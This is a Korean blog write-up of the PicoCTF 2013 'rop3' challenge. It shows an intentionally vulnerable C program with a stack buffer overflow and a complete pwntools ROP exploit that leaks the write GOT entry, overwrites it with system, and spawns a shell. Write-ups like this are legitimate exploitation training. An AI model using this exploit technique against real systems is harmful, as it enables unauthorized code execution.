System&Write up/CTF

[Pico CTF 2013] rop3

Jubil 2018. 1. 20. 07:56
반응형

[PicoCTF-2013] rop3

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

#undef _FORTIFY_SOURCE

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

 

void vulnerable_function()  {

    char buf[128];

    read(STDIN_FILENO, buf,256);

}

 

void be_nice_to_people() {

    // /bin/sh is usually symlinked to bash, which usually drops privs. Make

    // sure we don't drop privs if we exec bash, (ie if we call system()).

    gid_t gid = getegid();

    setresgid(gid, gid, gid);

}

 

int main(int argc, char** argv) {

        be_nice_to_people();

    vulnerable_function();

    write(STDOUT_FILENO, "Hello, World\n"13);

}

Colored by Color Scripter

cs

 

전처럼 “/bin/bash” 문자열을 제공하지도, system 함수를 주지도 않습니다.

vulnerable_functionread 함수에서 BOF 취약점이 발생해 return address를 변조할 수 있습니다.

readwrite 함수를 쓸 수 있으므로 ROP를 이용해서 풀겠습니다.

 

 


 

buf의 시작 위치는 ebp-0x88, return addressebp+0x4입니다.

둘이 140byte만큼 차이가 납니다.

 

 

시나리오 :

1.     return addressread plt로 바꾸고 .bss 영역에 “/bin/sh”를 기록합니다.

2.     ppprwrite plt를 호출해서 write got를 읽어옵니다.

3.     ppprread plt를 호출해서 write 주소에 system offset을 빼서 다시 write gotsystem 함수로 변조합니다.

4.     ppprwrite plt를 호출하면 system 함수가 호출되고 인자로 .bss의 주소를 넣어줍니다.

 

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

from pwn import *

 

= process('./rop3')

= ELF('./rop3')

 

pppr = 0x804855d 

offset = 0x99a80     #write - system

 

payload = ""

payload += "A"*140

 

payload += p32(e.plt['read'])

payload += p32(pppr)

payload += p32(0)

payload += p32(e.bss())

payload += p32(8)

 

payload += p32(e.plt['write'])

payload += p32(pppr)

payload += p32(1)

payload += p32(e.got['write'])

payload += p32(4)

 

payload += p32(e.plt['read'])

payload += p32(pppr)

payload += p32(0)

payload += p32(e.got['write'])

payload += p32(4)

 

payload += p32(e.plt['write'])

payload += "AAAA"

payload += p32(e.bss())

 

s.sendline(payload)

s.sendline("/bin/sh")

recv = u32(s.recv(4))

print hex(recv)

s.sendline(p32(recv - offset))

 

s.interactive()

cs

 

 


 

쉘을 취득했습니다.

반응형

'System&Write up > CTF' 카테고리의 다른 글

[Codegate 2017] babypwn  (0) 2018.01.29
[Pico CTF 2013] rop4  (0) 2018.01.21
[Pico CTF 2013] rop2  (0) 2018.01.19
[Pico CTF 2013] rop1  (0) 2018.01.18
[Pico CTF 2013] overflow5  (0) 2018.01.18